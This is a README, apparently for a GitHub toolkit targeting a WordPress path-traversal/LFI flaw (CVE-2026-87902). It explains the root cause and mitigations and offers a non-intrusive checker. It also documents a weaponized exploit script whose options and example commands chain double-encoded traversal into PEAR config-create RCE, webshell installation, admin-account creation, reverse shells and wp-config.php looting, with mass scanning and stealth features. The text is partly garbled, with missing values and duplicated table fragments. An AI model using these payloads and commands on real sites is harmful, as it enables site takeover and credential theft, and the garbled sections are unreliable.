
WordPress CVE-2026-87902 kit de ferramentas LFI-to-RCE com uma cadeia de exploração weaponizada (PEAR RCE, webshell, criação de admin, loot) e uma versão SafeChecker não intrusiva e auditor de risco.

USO EXCLUSIVAMENTE ÉTICO – TESTES DE SEGURANÇA AUTORIZADOS
Este repositório fornece ferramentas apenas para profissionais de segurança autorizados, blue teams e testadores de penetração.
O acesso não autorizado a sistemas de computador é ilegal sob a CFAA (EUA), Computer Misuse Act (Reino Unido), TCK 243/244 (Turquia) e leis similares em todo o mundo.
é uma vulnerabilidade crítica de path traversal e inclusão local de arquivos (LFI) não autenticada no (versões até ) que permite a um atacante não autenticado incluir arquivos locais arbitrários através do parâmetro de consulta e, sob condições específicas de servidor, escalar para encadeando o arquivo PEAR . Pontuação CVSS: . Divulgada por através do programa HackerOne do WordPress em julho de 2026. Corrigida na em 22 de setembro de 2026, com backports até a 4.7 .
.phppagenamepearcmd.phpA falha afeta todas as versões do WordPress desde 2016 — uma década de versões que passaram pela revisão de código sem detecção. A causa raiz é uma única chamada de validação ausente em um dos caminhos de código mais percorridos do CMS .
Resolução de template não sanitizada – get_page_template() em wp-includes/template.php constrói candidatos a template a partir da variável de consulta pagename. Um caminho de código vizinho na mesma função aplica validate_file() para bloquear sequências ../, mas o ramo $pagename não a chama. Qualquer traversal em pagename passa sem verificação .
Bypass de traversal com dupla codificação – O WordPress aplica sanitize_title_for_query() a pagename, que substitui pontos literais (.) por hífens para prevenir traversal. Mas a função opera sobre entrada já decodificada e não decodifica recursivamente. Um atacante envia %252e%252e%252f; o servidor web decodifica uma vez para %2e%2e%2f; o sanitizador não vê pontos literais e deixa passar; então get_page_template() chama urldecode() novamente dentro da função, produzindo ../ .
Pré-condição do diretório de tema – O tema ativo deve conter um diretório de nível superior cujo nome comece com page- (por exemplo, page-templates/). O nome de arquivo construído page-{pagename}.php então escapa da raiz do tema via traversal. Temas padrão mais antigos (Twenty Twelve, Twenty Fourteen) e temas populares de terceiros (Neve, Hestia, Sydney) incluem esse diretório. Temas filhos que herdam de tais pais também satisfazem a pré-condição .
Sink de LFI em locate_template() – O caminho candidato é passado para locate_template(), que pesquisa nos diretórios de temas. Como o traversal resolve para um arquivo fora desses diretórios, e a função verifica apenas file_exists(), qualquer arquivo .php legível é incluído com privilégios totais do servidor web. Isso torna a LFI incondicional em qualquer site não corrigido que atenda à pré-condição de tema — incluindo wp-config.php com suas credenciais de banco de dados e salts de autenticação .
Escalação para RCE via PEAR pearcmd.php – O PEAR acompanha muitas instalações PHP. Seu pearcmd.php é normalmente apenas CLI, mas quando register_argc_argv=On, o PHP preenche $_SERVER['argv'] a partir da query string da URL. O atacante inclui pearcmd.php via LFI, passa config-create como argumento e fornece código PHP mais um caminho de saída (/tmp/shell.php). O PEAR grava o código do atacante em disco; uma segunda inclusão o executa .
Segunda rota de exploração – Uma requisição combinando name (slug da página inicial), page_id (ID da página de posts), preview=true e um payload pagename desvia o WP_Query para seu ramo post_name, que nunca reescreve pagename através de sanitize_title_for_query(). Isso permite pontos literais no traversal. Requer um tema sem single.php .
Requisitos de configuração do servidor – O RCE depende de duas condições comuns em implantações reais: pearcmd.php presente/legível (frequente em hospedagem compartilhada, cPanel, imagens Docker oficiais do PHP) e register_argc_argv=On (padrão no PHP abaixo de 8.5). O PHP 8.5 mudou o padrão para Off. Em um servidor moderno PHP 8.5+ sem PEAR, a exploração para na LFI .
A correção – O WordPress 7.1.2 adiciona duas camadas de defesa: (a) a chamada ausente de validate_file() no ramo pagename, e (b) uma nova função _wp_is_template_path_allowed() chamada por locate_template() para cada template resolvido. A função rejeita caminhos contendo .., então resolve o caminho real via realpath() e verifica se ele está dentro de um dos diretórios de tema permitidos. Essa defesa em profundidade fecha o sink, não apenas uma rota para ele .
Exploração ativa em campo – Primeiras requisições maliciosas observadas 5 horas após o lançamento da correção (17:44 UTC, 22 de setembro de 2026). O tráfego aumentou dez vezes no dia seguinte. Três estágios observados: reconhecimento config-show → detecção de arquivo core → weaponização config-create. Nomes de arquivos de payload incluíram wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, gravados em /tmp e /var/tmp. IPs atacantes: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b .
Impacto – Execução de código com privilégios do servidor web. Tomada completa do site, roubo de credenciais do wp-config.php, exfiltração de dados, instalação de webshell, criação de usuário admin, reverse shell, ataques à cadeia de suprimentos via plugins/temas modificados e movimento lateral para serviços conectados. A pontuação CVSS 9.2 reflete impacto explorável pela rede, sem autenticação, alto impacto de confidencialidade/integridade/disponibilidade. A alta complexidade de ataque reflete as pré-condições de tema e servidor, mas em hospedagem compartilhada típica essas condições são frequentemente atendidas.
page-* no tema ativo, defina register_argc_argv=Off no php.ini e bloqueie traversal com dupla codificação no parâmetro pagename no nível do WAF.| Ferramenta | Propósito | Usuário Pretendido |
|---|---|---|
exploit.py | Toolkit completo weaponizado com detecção de LFI, cadeia de RCE via PEAR, criação de usuário admin, instalação de webshell, reverse shell, varredura em massa, modo stealth, rotação de proxy e cadeia de ataque completa. | Red teams / pentesters autorizados |
safecheck.py | Verificador de vulnerabilidade não intrusivo que detecta a versão do WordPress, valida a exposição e avalia o risco sem incluir nenhum arquivo ou executar qualquer payload. Gera relatórios JSON. | Blue teams / auditores de segurança |
| Recurso | exploit.py | safecheck.py |
|---|---|---|
| Detecção de vulnerabilidade | ✅ | ✅ |
| Detecção de versão | ✅ | ✅ |
Verificação do diretório page-* do tema | ✅ | ✅ |
Alcance do PEAR pearcmd.php | ✅ | ✅ |
Verificação de register_argc_argv | ✅ | ✅ |
| Sonda de comportamento do WAF | ❌ | ✅ |
| Sonda de LFI com dupla codificação | ✅ | ❌ |
RCE via PEAR config-create | ✅ | ❌ |
| Criação de usuário admin | ✅ | ❌ |
| Instalação de webshell | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
Coleta de wp-config.php | ✅ | ❌ |
| Cadeia de ataque completa | ✅ | ❌ |
| Varredura em massa (multi-thread) | ✅ | ✅ |
| Suporte a proxy | ✅ | ✅ |
| Rotação de proxy | ✅ | ❌ |
| Rotação de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter (OPSEC) | ✅ | ❌ |
| Limitador de taxa | ✅ | ❌ |
| Modo não intrusivo (seguro) | ❌ | ✅ |
| Relatório de avaliação de risco | ✅ | ✅ |
| Cenário | Ferramenta Recomendada |
|---|---|
| Blue Team – verificar se seu WordPress é vulnerável | safecheck.py |
| Auditoria de Segurança – avaliação de vulnerabilidade não intrusiva | safecheck.py |
| Red Team – teste de penetração autorizado com exploração completa | exploit.py |
| Bug Bounty – testes de divulgação responsável | safecheck.py |
| Varredura em Massa – verificar múltiplos alvos quanto à vulnerabilidade | exploit.py (somente detecção) |
| Resposta a Incidentes – verificar se os sistemas foram comprometidos | safecheck.py |
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL única do WordPress alvo (ex.: http://wordpress.example.com) |
-f, --file | Arquivo contendo lista de alvos (um por linha) para varredura em massa |
--pipe | Ler alvos do stdin |
--exploit | Realizar exploração após a detecção |
--create-admin | Criar usuário admin persistente (formato: USER:PASS) |
--webshell | Instalar webshell via RCE |
--reverse-shell | Acionar reverse shell (formato: LHOST:LPORT) |
--loot | Coletar wp-config.php e outros arquivos |
--threads | Número de threads para múltiplos alvos (padrão: 8) |
--timeout | Timeout da requisição (padrão: 15s) |
--retry | Máximo de tentativas (padrão: 3) |
--proxy | Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080) |
--proxy-list | Arquivo com proxies para rotação (um por linha) |
--proxy-rotate | Estratégia de rotação de proxy (round-robin, random, sticky) |
--jitter | Jitter aleatório entre requisições |
--jitter-range | Jitter mín,máx segundos (padrão: 0.1,2.0) |
--delay | Atraso fixo entre requisições |
--stealth | Ativar modo stealth (rotação de UA + jitter) |
--insecure | Desativar verificação TLS |
--user-agent | User-Agent personalizado |
safecheck.py| Parâmetro | Descrição |
|---|---|
-u, --url | URL única do WordPress alvo (ex.: http://wordpress.example.com) |
-f, --file | Arquivo contendo lista de alvos (um por linha) |
--pipe | Ler alvos do stdin |
-t, --threads | Número de threads para múltiplos alvos (padrão: 8) |
--timeout | Timeout da requisição (padrão: 15s) |
--retry | Máximo de tentativas (padrão: 3) |
--proxy | Proxy HTTP/HTTPS |
--jitter | Jitter aleatório entre requisições |
--jitter-range | Jitter mín,máx segundos (padrão: 0.1,2.0) |
--delay | Atraso fixo entre requisições |
--insecure | Desativar verificação TLS |
--user-agent | User-Agent personalizado |
--max-body | Tamanho máximo do corpo da resposta |
--concurrent-per-host | Máximo de requisições concorrentes por host |
--exclude | Hosts a excluir, separados por vírgula |
-o, --output | Salvar relatório JSON em arquivo (.json, .csv, .html, .jsonl) |
--db | Arquivo de banco de dados SQLite |
-v, --verbose | Saída detalhada |
-q, --quiet | Modo silencioso |
--no-banner | Suprimir banner |
| # | Cenário | Comando |
|---|---|---|
| 1 | Verificação rápida de vulnerabilidade | python safecheck.py -u http://wordpress.example.com |
| 2 | Varredura detalhada com relatório | python safecheck.py -u http://wordpress.example.com -o report.json -v |
| 3 | Auditoria em massa a partir de arquivo | python safecheck.py -f targets.txt -t 10 -o audit.json |
| 4 | Exploit somente detecção | python exploit.py -u http://wordpress.example.com |
| 5 | Coletar wp-config.php | python exploit.py -u http://wordpress.example.com --exploit --loot |
| 6 | Ataque completo com webshell | python exploit.py -u http://wordpress.example.com --exploit --webshell |
| 7 | Criar usuário admin persistente | python exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1 |
| 8 | Reverse shell | python exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444 |
| 9 | Cadeia de ataque completa | python exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1 |
| 10 | Exploit em massa com stealth | python exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json |
| 11 | Rotação de proxy | python exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit |
O exploit usa os seguintes endpoints do WordPress e etapas de exploração:
| Etapa | Método | Endpoint | Descrição |
|---|---|---|---|
| 1. Fingerprint | GET | / | Detectar WordPress via wp-content, wp-includes, wp-json |
| 2. Versão | GET | /feed/ | Extrair versão via meta <generator> |
| 3. Page ID | GET | /wp-json/wp/v2/pages | Descobrir um page_id válido |
| 4. Diretório do Tema | GET | /wp-content/themes/{theme}/page-templates/ | Confirmar pré-condição page-* |
| 5. Sonda LFI | GET | /?page_id={id}&pagename={payload} | Traversal com dupla codificação para incluir arquivo local |
| 6. Inclusão PEAR | GET | /?page_id={id}&pagename={pearcmd} | Incluir pearcmd.php |
| 7. RCE via PEAR | GET | /?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile} | Gravar arquivo PHP via PEAR |
| 8. Executar | GET | /?page_id={id}&pagename={outfile} | Incluir arquivo gravado → RCE |
| 9. Persistir | GET | (via RCE) | Criar usuário admin / webshell |
| 10. Coletar | GET | /?page_id={id}&pagename={wp-config} | Ler wp-config.php via LFI |
# Exemplo de traversal com dupla codificação
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd
# Cadeia de RCE via PEAR config-create
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php
# Gatilho de inclusão PEAR
GET /?page_id=2&pagename={encoded_output_path}
Este software é fornecido apenas para fins educacionais e testes de segurança autorizados.
| Recomendações de mitigação | ❌ | ✅ |
| Relatório JSON | ✅ | ✅ |
| Relatório CSV | ✅ | ✅ |
| Relatório HTML | ✅ | ✅ |
| Saída SQLite | ✅ | ✅ |
| User‑Agent personalizado | ✅ | ✅ |
| Controle de verificação SSL | ✅ | ✅ |
--max-body | Tamanho máximo do corpo da resposta |
--concurrent-per-host | Máximo de requisições concorrentes por host |
--rate-limit | Máximo de requisições por segundo |
--exclude | Hosts a excluir, separados por vírgula |
-o, --output | Salvar relatório em arquivo (.json, .csv, .html, .jsonl) |
--db | Arquivo de banco de dados SQLite |
-v, --verbose | Saída detalhada |
-q, --quiet | Modo silencioso |
--no-banner | Suprimir banner |